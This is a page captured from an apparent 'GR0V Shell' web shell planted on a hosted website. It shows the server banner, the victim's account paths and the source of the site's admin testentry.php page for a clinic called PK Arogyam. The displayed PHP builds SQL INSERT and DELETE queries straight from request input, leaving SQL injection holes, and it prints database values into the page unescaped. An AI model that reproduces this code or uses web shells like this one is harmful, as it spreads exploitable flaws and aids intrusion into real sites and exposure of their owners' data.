? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/drpktiwari.com/public_html/admin/
File Upload :
Current File : /home/u949514618/domains/drpktiwari.com/public_html/admin/testentry.php

<?php
// Start the session to check if the user is logged in
session_start();

// Check if the user is logged in
if (!isset($_SESSION['centre_id'])) {
    // If not logged in, redirect to login page
    header("Location: login.php");
    exit();
}

include('db.php');
// Insert Data
if (isset($_POST['add_test'])) {
    $test_name = $_POST['test_name'];
    $test_rate = $_POST['test_rate'];

    $query = "INSERT INTO testentry (test_name, test_rate) VALUES ('$test_name', '$test_rate')";
    if (mysqli_query($conn, $query)) {
        echo "<script>
            Swal.fire({
                title: 'Success!',
                text: 'Test entry added successfully!',
                icon: 'success',
                confirmButtonText: 'OK'
            }).then(() => {
                window.location.href = 'testentry.php';
            });
        </script>";
    }
}

// Delete Data
if (isset($_GET['delete'])) {
    $id = $_GET['delete'];
    $delete_query = "DELETE FROM testentry WHERE id='$id'";
    if (mysqli_query($conn, $delete_query)) {
        echo "<script>
            Swal.fire({
                title: 'Deleted!',
                text: 'Test entry deleted successfully!',
                icon: 'success',
                confirmButtonText: 'OK'
            }).then(() => {
                window.location.href = 'testentry.php';
            });
        </script>";
    }
}

// Fetch Data

?>





<!DOCTYPE html>


<html
  lang="en"
  class="light-style layout-menu-fixed"
  dir="ltr"
  data-theme="theme-default"
  data-assets-path="../backend/assets/"
  data-template="vertical-menu-template-free"
>
  <head>
    <meta charset="utf-8" />
    <meta
      name="viewport"
      content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"
    />

    <title>Dashboard - PK Arogyam</title>

    <meta name="description" content="" />

    <!-- Favicon -->
    <link rel="icon" type="image/x-icon" href="../backend/assets/img/brand/favicon.png" />

    <!-- Fonts -->
    <link rel="preconnect" href="https://fonts.googleapis.com" />
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
    <link
      href="https://fonts.googleapis.com/css2?family=Public+Sans:ital,wght@0,300;0,400;0,500;0,600;0,700;1,300;1,400;1,500;1,600;1,700&display=swap"
      rel="stylesheet"
    />

    <!-- Icons. Uncomment required icon fonts -->
    <link rel="stylesheet" href="../backend/assets/vendor/fonts/boxicons.css" />

    <!-- Core CSS -->
    <link rel="stylesheet" href="../backend/assets/vendor/css/core.css" class="template-customizer-core-css" />
    <link rel="stylesheet" href="../backend/assets/vendor/css/theme-default.css" class="template-customizer-theme-css" />
    <link rel="stylesheet" href="../backend/assets/css/demo.css" />

    <!-- Vendors CSS -->
    <link rel="stylesheet" href="../backend/assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.css" />

    <link rel="stylesheet" href="../backend/assets/vendor/libs/apex-charts/apex-charts.css" />

    <!-- Page CSS -->

    <!-- Helpers -->
    <script src="../backend/assets/vendor/js/helpers.js"></script>

    <!--! Template customizer & Theme config files MUST be included after core stylesheets and helpers.js in the <head> section -->
    <!--? Config:  Mandatory theme config file contain global vars & default theme options, Set your preferred theme option in this file.  -->
    <script src="../backend/assets/js/config.js"></script>
    
    <link rel="stylesheet" href="https://cdn.datatables.net/2.2.1/css/dataTables.dataTables.css" />
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
  </head>

  <body>
    <!-- Layout wrapper -->
    <div class="layout-wrapper layout-content-navbar">
      <div class="layout-container">
        <!-- Menu -->

        <?php include_once('include/dash_sidebar.php'); ?>
        <!-- / Menu -->

        <!-- Layout container -->
        <div class="layout-page">
          <!-- Navbar -->

          <?php include_once('include/nav.php'); ?>

                      

          <!-- Content wrapper -->
          <div class="content-wrapper">
            <!-- Content -->
                
                <div class="container-xxl flex-grow-1 container-p-y">
                    <h4 class="fw-bold py-3 mb-4"><span class="text-muted fw-light">Test Entry</span> </h4>
                        <form method="POST">
                            <div class="mb-3">
                                <label class="form-label">Test Name</label>
                                <input type="text" class="form-control" name="test_name" required>
                            </div>
                            <div class="mb-3">
                                <label class="form-label">Test Rate</label>
                                <input type="number" class="form-control" name="test_rate" required>
                            </div>
                            <button type="submit" name="add_test" class="btn btn-primary">Add Test</button>
                        </form>
                    <!-- Display Data -->
                    <table class="table" id="example">
                    <thead>
                    <tr><th>ID</th><th>Test Name</th><th>Test Rate</th><th>Action</th></tr>
                    </thead>
                    <tbody>
                    <?php 
                    $result = mysqli_query($conn, "SELECT * FROM testentry");
                    while ($row = mysqli_fetch_assoc($result)) { ?>
                        <tr>
                            <td><?php echo $row['id']; ?></td>
                            <td><?php echo $row['test_name']; ?></td>
                            <td><?php echo $row['test_rate']; ?></td>
                            <td>
                                <button class="btn btn-warning btn-sm edit-btn" data-id="<?php echo $row['id']; ?>" data-name="<?php echo $row['test_name']; ?>" data-rate="<?php echo $row['test_rate']; ?>">Edit</button>
                                <button class="btn btn-danger btn-sm delete-btn" data-id="<?php echo $row['id']; ?>">Delete</button>
                            </td>
                        </tr>
                    <?php } ?>
                    </tbody>
                     <tfoot>
                     <tr><th>ID</th><th>Test Name</th><th>Test Rate</th><th>Action</th></tr>
                    </tfoot>
                     </table>


                        
                </div>

                

              
            </div>
            <!-- / Content -->
<!-- Edit Modal -->
<div class="modal fade" id="editModal" tabindex="-1">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title">Edit Test Entry</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body">
                <form id="editForm">
                    <input type="hidden" id="edit_id" name="edit_id">
                    <div class="mb-3">
                        <label class="form-label">Test Name</label>
                        <input type="text" class="form-control" id="edit_name" name="edit_name" required>
                    </div>
                    <div class="mb-3">
                        <label class="form-label">Test Rate</label>
                        <input type="number" class="form-control" id="edit_rate" name="edit_rate" required>
                    </div>
                    <button type="submit" class="btn btn-primary">Update Test</button>
                </form>
            </div>
        </div>
    </div>
</div>
            <!-- Footer -->
            <footer class="content-footer footer bg-footer-theme">
              <div class="container-xxl d-flex flex-wrap justify-content-between py-2 flex-md-row flex-column">
                <div class="mb-2 mb-md-0">
                  ©
                  <script>
                    document.write(new Date().getFullYear());
                  </script>
                  , made with ❤️ by
                  <a href="#" target="_blank" class="footer-link fw-bolder">Made By Ajay Singh Rathore (+91 9031351333)</a>
                </div>
                <div>6j
                  <a href="#" class="footer-link me-4" target="_blank">Privacy Policy</a>
                  <a href="#" target="_blank" class="footer-link me-4">Terms &amp; Condition</a>
                </div>
              </div>
            </footer>
            <!-- / Footer -->

            <div class="content-backdrop fade"></div>
          </div>
          <!-- Content wrapper -->
        </div>
        <!-- / Layout page -->
      </div>

      <!-- Overlay -->
      <div class="layout-overlay layout-menu-toggle"></div>
    </div>
    <!-- / Layout wrapper -->


    <!-- Core JS -->
    <!-- build:js assets/vendor/js/core.js -->
    <script src="../backend/assets/vendor/libs/jquery/jquery.js"></script>
    <script src="../backend/assets/vendor/libs/popper/popper.js"></script>
    <script src="../backend/assets/vendor/js/bootstrap.js"></script>
    <script src="../backend/assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script>

    <script src="../backend/assets/vendor/js/menu.js"></script>
    <!-- endbuild -->

    <!-- Vendors JS -->
    <script src="../backend/assets/vendor/libs/apex-charts/apexcharts.js"></script>

    <!-- Main JS -->
    <script src="../backend/assets/js/main.js"></script>

    <!-- Page JS -->
    <script src="../backend/assets/js/dashboards-analytics.js"></script>

    <!-- Place this tag in your head or just before your close body tag. -->
    <script async defer src="https://buttons.github.io/buttons.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script src="https://code.jquery.com/jquery-3.7.1.js"></script>
    <script src="https://cdn.datatables.net/2.2.1/js/dataTables.js"></script>
    
    <script>
$(document).ready(function () {
    // Edit button click
    $(".edit-btn").click(function () {
        $("#edit_id").val($(this).data("id"));
        $("#edit_name").val($(this).data("name"));
        $("#edit_rate").val($(this).data("rate"));
        $("#editModal").modal("show");
    });

    // Update data
    $("#editForm").submit(function (e) {
        e.preventDefault();
        let id = $("#edit_id").val();
        let name = $("#edit_name").val();
        let rate = $("#edit_rate").val();

        $.post("update_test.php", { id: id, name: name, rate: rate }, function (response) {
            Swal.fire({
                title: 'Updated!',
                text: 'Test entry updated successfully!',
                icon: 'success',
                confirmButtonText: 'OK'
            }).then(() => {
                location.reload();
            });
        });
    });

    // Delete button click
    $(".delete-btn").click(function () {
        let id = $(this).data("id");

        Swal.fire({
            title: 'Are you sure?',
            text: "You won't be able to revert this!",
            icon: 'warning',
            showCancelButton: true,
            confirmButtonText: 'Yes, delete it!',
            cancelButtonText: 'No, cancel!',
        }).then((result) => {
            if (result.isConfirmed) {
                window.location.href = "testentry.php?delete=" + id;
            }
        });
    });
});
</script>
  </body>
</html>

T1KUS90T
  root-grov@89.117.188.241:~$